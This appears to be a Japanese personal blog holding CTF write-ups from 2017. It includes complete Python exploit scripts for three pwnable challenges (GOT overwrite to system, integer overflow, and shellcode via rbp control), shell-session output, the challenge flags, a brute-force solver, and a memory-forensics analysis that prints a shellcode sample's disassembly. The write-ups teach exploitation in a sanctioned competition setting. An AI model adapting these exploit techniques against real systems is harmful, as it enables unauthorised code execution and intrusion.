h_nosonの日記

競プロなど

MeePwn CTF 1st 2017 old school, bs Writeup

shpxで参加してました。

pwn2問解いて201点、108位。

Writeup

The Biginning (Misc 1)

MeePwnCTF{HellO_WorLd!}

old school (Pwnable 100)

ELF 64-bit、動的リンク、SSPとNX有効

% file oldschool_27e20fd0de79d5d1a69f957120c370ed
oldschool_27e20fd0de79d5d1a69f957120c370ed: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, stripped
% checksec -f oldschool_27e20fd0de79d5d1a69f957120c370ed
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   Yes     0               5       oldschool_27e20fd0de79d5d1a69f957120c370ed
% ./oldschool_27e20fd0de79d5d1a69f957120c370ed
-------- BookStore --------
1.       Add Book.
2.       Edit Book.
3.       Delete Book.
4.       Show Books.
5.       Exit.
Choice:

以下の4つの機能がある。

  1. 本の追加:題名(0x20bytes),著者名(0x20bytes),本文の長さ(2bytes),本文(0x100まで?の任意長)をスタックにpushし、そのアドレスをテーブルに追加
  2. 本の編集:元の長さを維持したまま内容を変更(題名,著者名はstrlenで取得した長さを元に、本文は本文の直前に格納されている長さを元にreadする)
  3. 本の削除:テーブルから削除する
  4. 本の表示:テーブルに保存されている本の内容を表示する

著者名を0x20bytes入力すると本文の長さを格納している部分まで文字列の一部とみなされ、2.で本文の長さを変えられる。本文を1byteで作成してから長さを0xffにするとスタックバッファオーバーフローによってスタック上に保存されているテーブルの値を変えることができる。これによってテーブルの値をGOTのアドレスに書き換えて2.でGOTを上書きする。そしてstrlenをsystemに変えてシェルを起動する。

#!/usr/bin/env python
from pwnlib import *

def add_book(name,author,desc):
    s.sendline('1')
    if len(name) < 0x20:
        name += '\n'
    if len(author) < 0x20:
        author += '\n'
    s.send(name)
    s.send(author)
    s.sendline(str(len(desc)))
    s.send(desc)
    s.recvuntil(':Description:')

def edit_book(index,name,author,desc):
    s.sendline('2')
    s.sendline(str(index))
    s.send(name)
    s.send(author)
    s.send(desc)
    s.recvuntil(':Description:')

if __name__ == '__main__':
    if len(sys.argv) == 1:
        s = Local('./oldschool_27e20fd0de79d5d1a69f957120c370ed')
    else:
        s = Remote('139.59.244.42',31340)

    strlen_got = 0x602028
    strlen_offset = 0x8b720
    system_offset = 0x45390

    add_book('A','A'*0x20,'A')
    edit_book(1,'A','A'*0x20+'\xff','A'*0xe7 + '\x00' + p32(1) + p64(strlen_got-0x20) + '\n')
    s.sendline('2')
    s.sendline('1')
    s.recvuntil('Author: ')
    libc_base = u64(s.recv(6)) - strlen_offset
    print '[*] libc base is', hex(libc_base)
    s.sendline('')
    s.send(p64(libc_base + system_offset))
    s.sendline('')
    add_book('/bin/sh','A','A')
    s.sendline('2')
    s.sendline('2')
    s.interact()
% ./exploit.py remote
[*] libc base is 0x7fdc67d61000
[*] Switching to interactive mode
-------- BookStore --------
1.       Add Book.
2.       Edit Book.
3.       Delete Book.
4.       Show Books.
5.       Exit.
Choice:Book name:Author:Length of Description:
$ Description:-------- BookStore --------
1.       Add Book.
2.       Edit Book.
3.       Delete Book.
4.       Show Books.
5.       Exit.
Choice:------------ 1 ------------
Name: h!5h
Author: c
Description:
------------ 2 ------------
Name: /bin/sh
Author: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/bin/
Description: /
ls
Which book do you want to edit ?Book name:bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cd home
$ ls
oldschool
$ cd oldschool
$ ls
flag
oldschool
$ cat flag
MeePwnCTF{0ld_sch00ld_C4n4ry_1s_0n_th3_st4ck}

bs (Pwnable 100)

ELF 32-bit、動的リンク、NX有効

% file bit
bit: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=21102c8ebc9b555cd0f480b28f0ffb7a423a49f7, not stripped
% checksec -f bit
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No      0               4       bit

このプログラムの流れは以下の通り

  1. パスワードを要求する
  2. パスワードがあっていれば(パスワードは/dev/urandomから取ってきた値なので厳しい)user_idを0に設定する
  3. パスワードがあっていなければuser_idを0でない255以下の値を入力させる
  4. user_idの下位2bytesが0ならばis_rootに1を設定する(つまり0xffff0000を入力すればいい)
  5. 数列を入力させる(is_rootが1のときは長さ0x7fまで可能で、is_rootが0のときは長さ0x1fの数列しか入力できない)
  6. 数列をbubble_sortでソートする
  7. 入力した数値を二分探索で探索する
  8. 数列に入力した数値が存在するならば、その数値の位置からインデックスが大きくなる方向に向かって数列の値を1要素ずつ変更できる
  9. 存在しなければ終了する
% ./bit
Enter your password:
hoge
Please set your user_id:
1
[BINARY SEARCH SYSTEM]
How many numbers do you want to sort ?
2
Enter 2 integers
10 5
You can review all your numbers. Enter -1 to break
0
0xa
1
0x5
-1
Enter value to find
5
MID[0] is 0x5
5 found at 0 !!!
ARRAY[0] = 5
Do you want to edit it ?
y
Enter new value
20
ARRAY[1] = 10
Do you want to edit it ?
n
ARRAY[2] = 0
Do you want to edit it ?
q
Bye !

二分探索は以下のようなコードになっていて、nを大きな値にするとinteger overflowする。mが負の値になったときに探索が終了するようにvalの値を操作すると、その付近にあるGOTの値を変えることができる。

void binary_search(int a[], char n, int val) {
    char l = 0, r = n-1;
    while (l < r) {
        char m = (l + r) / 2;
        if (a[m] < val) {
            l = m + 1
        }
        else if (a[m] == val) {
            // found
        }
        else {
            r = m - 1;
        }
    }
    // not found
}

制御をloginまで戻し、openをisasciiに変えて0を出力させることでreadを標準入力から読み込ませて/bin/shを入力すると同時に、memcmpをsystemに変えてシェルを起動する。

080485cb <login>:
 80485cb:   55                      push   ebp
 80485cc:   89 e5                   mov    ebp,esp
 80485ce:   83 ec 38                sub    esp,0x38
 80485d1:   83 ec 08                sub    esp,0x8
 80485d4:   6a 00                   push   0x0
 80485d6:   68 50 8c 04 08          push   0x8048c50 ; /dev/urandom
 80485db:   e8 a0 fe ff ff          call   8048480 <open@plt>
 80485e0:   83 c4 10                add    esp,0x10
 80485e3:   89 45 f4                mov    DWORD PTR [ebp-0xc],eax
 80485e6:   83 ec 04                sub    esp,0x4
 80485e9:   6a 10                   push   0x10
 80485eb:   8d 45 e4                lea    eax,[ebp-0x1c]
 80485ee:   50                      push   eax
 80485ef:   ff 75 f4                push   DWORD PTR [ebp-0xc]
 80485f2:   e8 39 fe ff ff          call   8048430 <read@plt>
 80485f7:   83 c4 10                add    esp,0x10
 80485fa:   83 ec 0c                sub    esp,0xc
 80485fd:   68 5d 8c 04 08          push   0x8048c5d
 8048602:   e8 59 fe ff ff          call   8048460 <puts@plt>
 8048607:   83 c4 10                add    esp,0x10
 804860a:   83 ec 04                sub    esp,0x4
 804860d:   6a 10                   push   0x10
 804860f:   8d 45 d4                lea    eax,[ebp-0x2c]
 8048612:   50                      push   eax
 8048613:   6a 00                   push   0x0
 8048615:   e8 16 fe ff ff          call   8048430 <read@plt>
 804861a:   83 c4 10                add    esp,0x10
 804861d:   83 ec 04                sub    esp,0x4
 8048620:   6a 10                   push   0x10
 8048622:   8d 45 d4                lea    eax,[ebp-0x2c]
 8048625:   50                      push   eax
 8048626:   8d 45 e4                lea    eax,[ebp-0x1c]
 8048629:   50                      push   eax
 804862a:   e8 21 fe ff ff          call   8048450 <memcmp@plt>
#!/usr/bin/env python
from pwnlib import *

if __name__ == '__main__':
    if len(sys.argv) == 1:
        s = Local('./bit')
        system_offset = 0x3a940
        read_offset = 0xd4350
        isascii_offset = 0x25010
    else:
        s = Remote('128.199.135.210',31335)
        system_offset = 0x3b020
        read_offset = 0xd82a0
        isascii_offset = 0x24f80

    main_addr = 0x8048953
    login_addr = 0x80485d6
    start = -42
    read_got = -21
    memcmp_got = -19
    open_got = -16
    scanf_got = -13
    match_val = 0x804836c

    s.send("hoge")
    s.sendline("-65536")
    n = 0x7e
    s.sendline(str(n))
    for i in range(n):
        s.sendline('0')
    s.sendline('-1')
    s.sendline(str(match_val))
    for i in range(-start):
        if i == read_got - start:
            s.sendline('n')
            s.recvuntil('ARRAY[%d] = ' % read_got)
            libc_base = int(s.recvline()) - read_offset
            print '[*] libc base is', hex(libc_base)
        elif i == memcmp_got - start:
            s.sendline('y')
            s.sendline(str(libc_base + system_offset))
        elif i == scanf_got - start:
            s.sendline('y')
            s.sendline(str(libc_base + isascii_offset))
        else:
            s.sendline('n')
    s.sendline('y')
    s.sendline('/bin/sh\x00')
    s.sendline('/bin/sh\x00')
    s.recvuntil('Enter your password:\n')
    s.interact()
% ./exploit.py remote
[*] libc base is 0xf75e8000
[*] Switching to interactive mode

$ ls
bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
snap
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
$ cd home
$ ls
bs
meepo
$ cd bs
$ ls
bit
flag
$ cat flag
MeePwnCTF{C_1n73g3r_0v3v3rFl0w}

SECUINSIDE CTF 2017 Writeup

wwogtechで出てました。
389点取って54位。

Writeup

SANITY CHECK [MISC 30]

SECU[THIS_IS_FLAG]

CAT CARRIER [MISC 30]

何か問題が起きたらしい

SECU[____MEOW_____MEOW____]

OHCE [PWNABLE 133]

ELF 64-bit、静的リンク、NX有効

% file ohce
ohce: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
% checksec -f ohce
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No      0               0       ohce

echoで入力をそのまま出力し、echo(Reverse)で入力を反転させてから出力している。

% ./ohce

-----------------
1. echo
2. echo(Reverse)
3. Exit
-----------------
 > 1
hoge
hoge

-----------------
1. echo
2. echo(Reverse)
3. Exit
-----------------
 > 2
hoge

egoh
-----------------
1. echo
2. echo(Reverse)
3. Exit
-----------------
 > 3

echoではstrlenで得た文字列の長さだけ文字列を出力しており、echo(Reverse)ではstrlenで得た文字列の長さを元に文字列を反転し、出力している。

<echo>:
  40014c:   55                      push   rbp
  40014d:   48 89 e5                mov    rbp,rsp
  400150:   e8 4e 00 00 00          call   0x4001a3 <read20>
  400155:   48 89 c7                mov    rdi,rax
  400158:   e8 10 01 00 00          call   0x40026d <strlen>
  40015d:   48 89 c6                mov    rsi,rax
  400160:   e8 2b 00 00 00          call   0x400190 <write>
  400165:   48 89 ec                mov    rsp,rbp
  400168:   5d                      pop    rbp
  400169:   c3                      ret

<echo_reverse>:
  40016a:   55                      push   rbp
  40016b:   48 89 e5                mov    rbp,rsp
  40016e:   48 89 e7                mov    rdi,rsp
  400171:   e8 2d 00 00 00          call   0x4001a3 <read20>
  400176:   48 89 c7                mov    rdi,rax
  400179:   e8 ef 00 00 00          call   0x40026d <strlen>
  40017e:   48 89 c6                mov    rsi,rax
  400181:   e8 fb 00 00 00          call   0x400281 <reverse>
  400186:   e8 05 00 00 00          call   0x400190 <write>
  40018b:   48 89 ec                mov    rsp,rbp
  40018e:   5d                      pop    rbp
  40018f:   c3                      ret

.....

<reverse>:
  400281:   55                      push   rbp
  400282:   48 89 e5                mov    rbp,rsp
  400285:   48 89 f0                mov    rax,rsi
  400288:   49 89 f9                mov    r9,rdi
  40028b:   49 89 f8                mov    r8,rdi
  40028e:   49 01 c0                add    r8,rax
  400291:   49 ff c8                dec    r8
  400294:   48 d1 e8                shr    rax,1
  400297:   41 8a 19                mov    bl,BYTE PTR [r9]
  40029a:   41 8a 10                mov    dl,BYTE PTR [r8]
  40029d:   41 88 11                mov    BYTE PTR [r9],dl
  4002a0:   41 88 18                mov    BYTE PTR [r8],bl
  4002a3:   49 ff c1                inc    r9
  4002a6:   49 ff c8                dec    r8
  4002a9:   48 ff c8                dec    rax
  4002ac:   75 e9                   jne    0x400297
  4002ae:   5d                      pop    rbp
  4002af:   c3                      ret

メモリを見てみると入力した文字列の直後にrbpの値が格納されている。入力できる文字列の上限は0x20のため、rbpの値の直前まで文字列を詰めることができる。

0x7fffffffea80: 0x00000a4141414141      0x0000000000000000
0x7fffffffea90: 0x0000000000000000      0x0000000000000000
0x7fffffffeaa0: 0x00007fffffffeab0      0x000000000040015d

文字列を0x20文字入力したとき、strlenの返り値は0x26となり、echoではスタックのアドレスをリークでき、echo(Reverse)ではrbpを自由に設定することができる。rbpをうまく操作してシェルコードを実行させることで、シェルを奪える。(NX有効だけどなぜかシェルコードを実行できた。libc_startがなかったからだろうか)

#!/usr/bin/env python
from pwnlib import *

if __name__ == '__main__':
    if len(sys.argv) == 1:
        s = Local('./ohce')
    else:
        s = Remote('13.124.134.94', 8888)

    s.sendline("1")
    s.sendline("A" * 0x1f)
    s.recvuntil("A\n")
    stack_addr = u64(s.recv(6))
    print "[*] stack is at", hex(stack_addr)

    s.sendline("1")
    payload = ""
    payload += "A" * 8
    payload += p64(stack_addr - 0x40)
    payload += "A" * 0x40
    s.sendline(payload)

    s.sendline("2")
    shellcode = get_shellcode("lin64")
    payload = ""
    payload += "\x90" * (0x39 - len(shellcode))
    payload += shellcode
    payload += p64(stack_addr - 0x70)[:6]
    s.sendline(payload[::-1])
    s.interact()
% ./exploit.py remote
[*] stack is at 0x7ffd897cced0
[*] Switching to interactive mode

-----------------
1. echo
2. echo(Reverse)
3. Exit
-----------------
 > AAAAAAAA
・----------------
1. echo
2. echo(Reverse)
3. Exit
-----------------
 > 

ls
flag
ohce
$ cat flag
SECU[the_true_world_and_1n_here_1s_the_dream]

TRIPLEROTATE [REVERSING 196]

encryptとprobというファイルが渡される。encryptはフラグをprobで暗号化したもの。

probを解析してみると、

まず9文字の入力を0x17,0x18,0x19bitに分割してひっくり返す。 例えば入力が"hogehogea"なら

a = 11001101111011000010110
b = 111011000010110101001101
c = 1000011010100110111001101

次に
a[i+0{\rm x}17] = a[i] \oplus a[i+5]
b[i+0{\rm x}18] = b[i] \oplus b[i+1] \oplus b[i+3] \oplus b[i+4]
c[i+0{\rm x}19] = c[i] \oplus c[i+3]
を繰り返し実行し、それぞれの長さが201になるまで繰り返す。
(a\wedge b) \oplus (b\wedge c) \oplus cが暗号文になる。

ということがわかった。

(a\wedge b)\oplus(b\wedge c)\oplus c=(a\wedge b)\oplus (\lnot{b}\wedge c)なのでbが決まればaかcのどちらかが一意に決まることがわかる。 f:id:h_noson:20170702163742p:plain 上の図のようにbの値によってa,cを決めることができる。決まったa,cに対して上記の式を満たすかどうかを判定することで平文を見つけられる。

#include <cstdio>

const int N = 201;

int data[N], a[N], b[N], c[N];

int main(void) {
    FILE *fp = fopen("encrypt","r");
    for (int i = 0; i < N; i++) {
        fscanf(fp,"%d",&data[i]);
    }
    for (int i = 0; i < 1<<0x18; i++) {
        if (i % 0x100 == 0) {
            printf("\r[*] b = 0x%x",i);
            fflush(stdout);
        }
        int x = i;
        for (int j = 0; j < 0x18; j++) {
            b[j] = x & 1;
            x >>= 1;
        }
        for (int j = 0; j < N-0x18; j++) {
            b[j+0x18] = b[j] ^ b[j+1] ^ b[j+3] ^ b[j+4];
        }
        for (int j = 0; j < N; j++) {
            if (b[j]) {
                a[j] = data[j];
                c[j] = -1;
            }
            else {
                c[j] = data[j];
                a[j] = -1;
            }
        }
        bool ok = true;
        for (int j = 0; j < N-0x17; j++) {
            if ((a[j] | a[j+5] | a[j+0x17]) >= 0) {
                if (a[j] ^ a[j+5] != a[j+0x17]) {
                    ok = false;
                    break;
                }
            }
            else if ((a[j] | a[j+5]) >= 0) {
                a[j+0x17] = a[j] ^ a[j+5];
            }
            else if ((a[j+5] | a[j+0x17]) >= 0) {
                a[j] = a[j+5] ^ a[j+0x17];
            }
            else if ((a[j+0x17] | a[j]) >= 0) {
                a[j+5] = a[j+0x17] ^ a[j];
            }
        }
        if (!ok) continue;
        for (int j = 0; j < N-0x19; j++) {
            if ((c[j] | c[j+3] | c[j+0x19]) >= 0) {
                if (c[j] ^ c[j+3] != c[j+0x19]) {
                    ok = false;
                    break;
                }
            }
            else if ((c[j] | c[j+3]) >= 0) {
                c[j+0x19] = c[j] ^ c[j+3];
            }
            else if ((c[j+3] | c[j+0x19]) >= 0) {
                c[j] = c[j+3] ^ c[j+0x19];
            }
            else if ((c[j+0x19] | c[j]) >= 0) {
                c[j+3] = c[j+0x19] ^ c[j];
            }
        }
        if (!ok) continue;
        for (int k = 0; k < N; k++) {
            for (int j = 0; j < N-0x17; j++) {
                if ((a[j] | a[j+5]) >= 0) {
                    a[j+0x17] = a[j] ^ a[j+5];
                }
                else if ((a[j+5] | a[j+0x17]) >= 0) {
                    a[j] = a[j+5] ^ a[j+0x17];
                }
                else if ((a[j+0x17] | a[j]) >= 0) {
                    a[j+5] = a[j+0x17] ^ a[j];
                }
            }
            for (int j = 0; j < N-0x19; j++) {
                if ((c[j] | c[j+3]) >= 0) {
                    c[j+0x19] = c[j] ^ c[j+3];
                }
                else if ((c[j+3] | c[j+0x19]) >= 0) {
                    c[j] = c[j+3] ^ c[j+0x19];
                }
                else if ((c[j+0x19] | c[j]) >= 0) {
                    c[j+3] = c[j+0x19] ^ c[j];
                }
            }
        }
        printf("\r[*] b = 0x%x\n",i);
        for (int j = 0; j < N; j++) {
            printf("%d",a[j] >= 0 ? a[j] : 2);
        }
        puts("");
        for (int j = 0; j < N; j++) {
            printf("%d",b[j] >= 0 ? b[j] : 2);
        }
        puts("");
        for (int j = 0; j < N; j++) {
            printf("%d",c[j] >= 0 ? c[j] : 2);
        }
        puts("");
        break;
    }
    return 0;
}
% ./solve
[*] b = 0x183b19
011001011111010100100101101101101010001100100110110001011000111111111100111010001110000011000011111010011111000101111101101011111011110110010000101100000001111100001101011001111111110101000011001100001
100110001101110000011000111000100100010101100000000100001011001010100001101111110110100011110100110011000111000111110111111100000000001011011000100100000011110000100100001100100110011100001110111000111
101000100101111011111010110110000101010010010110000011010111100000010011001100110101110001000101010101001101111100110111111110010001001101000100000110001100010010110010011011110111000010010000100010100
SECU[I_L0v3_zE]

感想

babyheapができなかったのでheapの勉強をしたくなった

Trend Micro CTF 2017 Forensic 200 Writeup

メモリフォレンジックの問題

まずvolatilityで情報をいろいろ見てみる

% volatility -f VictimMemory.img imageinfo
Volatility Foundation Volatility Framework 2.5
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP0x86, Win7SP1x86
                     AS Layer1 : IA32PagedMemoryPae (Kernel AS)
                     AS Layer2 : FileAddressSpace (/program/ctf/tmctf/2017/Forensic200/VictimMemory.img)
                      PAE type : PAE
                           DTB : 0x185000L
                          KDBG : 0x8333ec28L
          Number of Processors : 1
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0x8333fc00L
             KUSER_SHARED_DATA : 0xffdf0000L
           Image date and time : 2017-04-11 02:35:28 UTC+0000
     Image local date and time : 2017-04-11 11:35:28 +0900

% volatility -f VictimMemory.img --profile=Win7SP0x86 pstree                                                                                                                    [6/1918]
Volatility Foundation Volatility Framework 2.5
Name                                                  Pid   PPid   Thds   Hnds Time
-------------------------------------------------- ------ ------ ------ ------ ----
 0x89d8a530:wininit.exe                               412    344      3     78 2017-04-11 02:27:45 UTC+0000
. 0x88a0c030:lsass.exe                                516    412      7    547 2017-04-11 02:27:48 UTC+0000
. 0x88a056d8:services.exe                             508    412      7    220 2017-04-11 02:27:47 UTC+0000
.. 0x869fa6c0:VSSVC.exe                              2304    508     12    194 2017-04-11 02:33:08 UTC+0000
.. 0x89d91030:svchost.exe                            1288    508     17    304 2017-04-11 02:28:00 UTC+0000
.. 0x86d7b030:VGAuthService.                         1424    508      3     87 2017-04-11 02:28:03 UTC+0000
.. 0x89d6b030:mscorsvw.exe                           3096    508      6     74 2017-04-11 02:30:34 UTC+0000
.. 0x88bd3a98:msdtc.exe                              1420    508     14    150 2017-04-11 02:28:28 UTC+0000
.. 0x88a4bcd8:vmacthlp.exe                            676    508      3     53 2017-04-11 02:27:52 UTC+0000
.. 0x88a808a0:svchost.exe                             808    508     20    465 2017-04-11 02:27:53 UTC+0000
... 0x88aa7130:audiodg.exe                            952    808      4    122 2017-04-11 02:27:55 UTC+0000
.. 0x869b6030:msiexec.exe                            3612    508      9    278 2017-04-11 02:34:25 UTC+0000
.. 0x89c0fb78:svchost.exe                            1668    508      8     92 2017-04-11 02:28:12 UTC+0000
.. 0x86986030:sppsvc.exe                             3264    508      4    146 2017-04-11 02:30:44 UTC+0000
.. 0x89a3b8e0:SearchIndexer.                         2376    508     12    576 2017-04-11 02:29:03 UTC+0000
.. 0x88a87518:svchost.exe                             844    508     18    419 2017-04-11 02:27:53 UTC+0000
... 0x88b91030:dwm.exe                                568    844      3     70 2017-04-11 02:28:22 UTC+0000
.. 0x86dcf2d0:vmtoolsd.exe                           1484    508      8    289 2017-04-11 02:28:07 UTC+0000
.....
.....
 0x88bbaab8:explorer.exe                              940    356     31    865 2017-04-11 02:28:23 UTC+0000
. 0x8691c030:cmd.exe                                 4080    940      1     20 2017-04-11 02:32:02 UTC+0000
.. 0x88abfa78:svchost.exe                            3828   4080      1      7 2017-04-11 02:35:18 UTC+0000
. 0x88bca030:vmtoolsd.exe                            2216    940      6    191 2017-04-11 02:28:51 UTC+0000

% volatility -f VictimMemory.img --profile=Win7SP0x86 cmdscan
Volatility Foundation Volatility Framework 2.5
**************************************************
CommandProcess: conhost.exe Pid: 1868
CommandHistory: 0x31e818 Application: svchost.exe Flags: Allocated
CommandCount: 0 LastAdded: -1 LastDisplayed: -1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x190
Cmd #11 @ 0x10000: ?????
Cmd #37 @ 0x10000: ?????
**************************************************
CommandProcess: conhost.exe Pid: 1868
CommandHistory: 0x33a338 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 2 LastAdded: 1 LastDisplayed: 1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x58
Cmd #0 @ 0x33a700: cd %temp%
Cmd #1 @ 0x2d3b38: svchost.exe 1.tmp 0x0 1

explorer.exeからcmd.exeが呼び出され、そこからsvchost.exe 1.tmp 0x0 1が呼び出されている。いかにも怪しいのでファイルを落として解析する。

% volatility -f VictimMemory.img --profile=Win7SP0x86 filescan | grep -e svchost.exe -e 1.tmp
Volatility Foundation Volatility Framework 2.5
0x000000000a0c07c0     10      1 R--rw- \Device\HarddiskVolume1\Users\Taro\AppData\Local\Temp\1.tmp
0x000000000b3f2588      8      0 R--r-d \Device\HarddiskVolume1\Windows\System32\svchost.exe
0x000000000f26fa68      2      0 R--r-- \Device\HarddiskVolume1\Users\Taro\AppData\Local\Temp\svchost.exe
0x000000000f342ad0      6      0 R--r-d \Device\HarddiskVolume1\Users\Taro\AppData\Local\Temp\svchost.exe

% volatility -f VictimMemory.img --profile=Win7SP0x86 dumpfiles --dump-dir dumpdir -Q 0x000000000f26fa68
Volatility Foundation Volatility Framework 2.5
ImageSectionObject 0x0f26fa68   None   \Device\HarddiskVolume1\Users\Taro\AppData\Local\Temp\svchost.exe
DataSectionObject 0x0f26fa68   None   \Device\HarddiskVolume1\Users\Taro\AppData\Local\Temp\svchost.exe

% volatility -f VictimMemory.img --profile=Win7SP0x86 dumpfiles --dump-dir dumpdir -Q 0x000000000a0c07c0
Volatility Foundation Volatility Framework 2.5
DataSectionObject 0x0a0c07c0   None   \Device\HarddiskVolume1\Users\Taro\AppData\Local\Temp\1.tmp
SharedCacheMap 0x0a0c07c0   None   \Device\HarddiskVolume1\Users\Taro\AppData\Local\Temp\1.tmp

svchost.exeをIDAで開くと、1.tmpの内容をVirtualAllocした領域に書き込み、スレッドで実行していることがわかる。つまり、1.tmpはシェルコードになっている。

f:id:h_noson:20170625132851p:plain f:id:h_noson:20170625133624p:plain

1.tmpは以下のようなシェルコードになっていた。

   0:   55                      push   ebp
   1:   89 e5                   mov    ebp,esp
   3:   83 ec 60                sub    esp,0x60
   6:   c6 45 da a8             mov    BYTE PTR [ebp-0x26],0xa8
   a:   c6 45 db ff             mov    BYTE PTR [ebp-0x25],0xff
   e:   c6 45 dc 88             mov    BYTE PTR [ebp-0x24],0x88
  12:   c6 45 dd d0             mov    BYTE PTR [ebp-0x23],0xd0
  16:   c6 45 de b2             mov    BYTE PTR [ebp-0x22],0xb2
  1a:   c6 45 df f6             mov    BYTE PTR [ebp-0x21],0xf6
  1e:   c6 45 e0 f8             mov    BYTE PTR [ebp-0x20],0xf8
  22:   c6 45 e1 ea             mov    BYTE PTR [ebp-0x1f],0xea
  26:   c6 45 e2 ff             mov    BYTE PTR [ebp-0x1e],0xff
  2a:   c6 45 e3 ff             mov    BYTE PTR [ebp-0x1d],0xff
  2e:   c6 45 e4 d2             mov    BYTE PTR [ebp-0x1c],0xd2
  32:   c6 45 e5 ff             mov    BYTE PTR [ebp-0x1b],0xff
  36:   c6 45 e6 ff             mov    BYTE PTR [ebp-0x1a],0xff
  3a:   c6 45 e7 c2             mov    BYTE PTR [ebp-0x19],0xc2
  3e:   c6 45 e8 dc             mov    BYTE PTR [ebp-0x18],0xdc
  42:   c6 45 e9 c2             mov    BYTE PTR [ebp-0x17],0xc2
  46:   c6 45 ea d8             mov    BYTE PTR [ebp-0x16],0xd8
  4a:   c6 45 eb ff             mov    BYTE PTR [ebp-0x15],0xff
  4e:   c6 45 ec f6             mov    BYTE PTR [ebp-0x14],0xf6
  52:   c6 45 ed ff             mov    BYTE PTR [ebp-0x13],0xff
  56:   c6 45 ee fa             mov    BYTE PTR [ebp-0x12],0xfa
  5a:   c6 45 ef ff             mov    BYTE PTR [ebp-0x11],0xff
  5e:   c6 45 bc 55             mov    BYTE PTR [ebp-0x44],0x55
  62:   c6 45 bd 8b             mov    BYTE PTR [ebp-0x43],0x8b
  66:   c6 45 be ec             mov    BYTE PTR [ebp-0x42],0xec
  6a:   c6 45 bf 51             mov    BYTE PTR [ebp-0x41],0x51
  6e:   c6 45 c0 e8             mov    BYTE PTR [ebp-0x40],0xe8
  72:   c6 45 c1 00             mov    BYTE PTR [ebp-0x3f],0x0
  76:   c6 45 c2 00             mov    BYTE PTR [ebp-0x3e],0x0
  7a:   c6 45 c3 00             mov    BYTE PTR [ebp-0x3d],0x0
  7e:   c6 45 c4 00             mov    BYTE PTR [ebp-0x3c],0x0
  82:   c6 45 c5 58             mov    BYTE PTR [ebp-0x3b],0x58
  86:   c6 45 c6 2d             mov    BYTE PTR [ebp-0x3a],0x2d
  8a:   c6 45 c7 52             mov    BYTE PTR [ebp-0x39],0x52
  8e:   c6 45 c8 1f             mov    BYTE PTR [ebp-0x38],0x1f
  92:   c6 45 c9 34             mov    BYTE PTR [ebp-0x37],0x34
  96:   c6 45 ca 01             mov    BYTE PTR [ebp-0x36],0x1
  9a:   c6 45 cb 2d             mov    BYTE PTR [ebp-0x35],0x2d
  9e:   c6 45 cc 52             mov    BYTE PTR [ebp-0x34],0x52
  a2:   c6 45 cd 1f             mov    BYTE PTR [ebp-0x33],0x1f
  a6:   c6 45 ce 34             mov    BYTE PTR [ebp-0x32],0x34
  aa:   c6 45 cf 01             mov    BYTE PTR [ebp-0x31],0x1
  ae:   c6 45 d0 e8             mov    BYTE PTR [ebp-0x30],0xe8
  b2:   c6 45 d1 00             mov    BYTE PTR [ebp-0x2f],0x0
  b6:   c6 45 d2 00             mov    BYTE PTR [ebp-0x2e],0x0
  ba:   c6 45 d3 00             mov    BYTE PTR [ebp-0x2d],0x0
  be:   c6 45 d4 00             mov    BYTE PTR [ebp-0x2c],0x0
  c2:   c6 45 d5 90             mov    BYTE PTR [ebp-0x2b],0x90
  c6:   c6 45 d6 90             mov    BYTE PTR [ebp-0x2a],0x90
  ca:   c6 45 d7 c9             mov    BYTE PTR [ebp-0x29],0xc9
  ce:   c6 45 d8 c3             mov    BYTE PTR [ebp-0x28],0xc3
  d2:   c6 45 d9 cc             mov    BYTE PTR [ebp-0x27],0xcc
  d6:   c6 45 a6 00             mov    BYTE PTR [ebp-0x5a],0x0
  da:   c6 45 a7 5b             mov    BYTE PTR [ebp-0x59],0x5b
  de:   c6 45 a8 00             mov    BYTE PTR [ebp-0x58],0x0
  e2:   c6 45 a9 00             mov    BYTE PTR [ebp-0x57],0x0
  e6:   c6 45 aa 00             mov    BYTE PTR [ebp-0x56],0x0
  ea:   c6 45 ab 00             mov    BYTE PTR [ebp-0x55],0x0
  ee:   c6 45 ac 00             mov    BYTE PTR [ebp-0x54],0x0
  f2:   c6 45 ad 00             mov    BYTE PTR [ebp-0x53],0x0
  f6:   c6 45 ae 2b             mov    BYTE PTR [ebp-0x52],0x2b
  fa:   c6 45 af 17             mov    BYTE PTR [ebp-0x51],0x17
  fe:   c6 45 b0 00             mov    BYTE PTR [ebp-0x50],0x0
 102:   c6 45 b1 19             mov    BYTE PTR [ebp-0x4f],0x19
 106:   c6 45 b2 3f             mov    BYTE PTR [ebp-0x4e],0x3f
 10a:   c6 45 b3 00             mov    BYTE PTR [ebp-0x4d],0x0
 10e:   c6 45 b4 00             mov    BYTE PTR [ebp-0x4c],0x0
 112:   c6 45 b5 00             mov    BYTE PTR [ebp-0x4b],0x0
 116:   c6 45 b6 00             mov    BYTE PTR [ebp-0x4a],0x0
 11a:   c6 45 b7 03             mov    BYTE PTR [ebp-0x49],0x3
 11e:   c6 45 b8 00             mov    BYTE PTR [ebp-0x48],0x0
 122:   c6 45 b9 13             mov    BYTE PTR [ebp-0x47],0x13
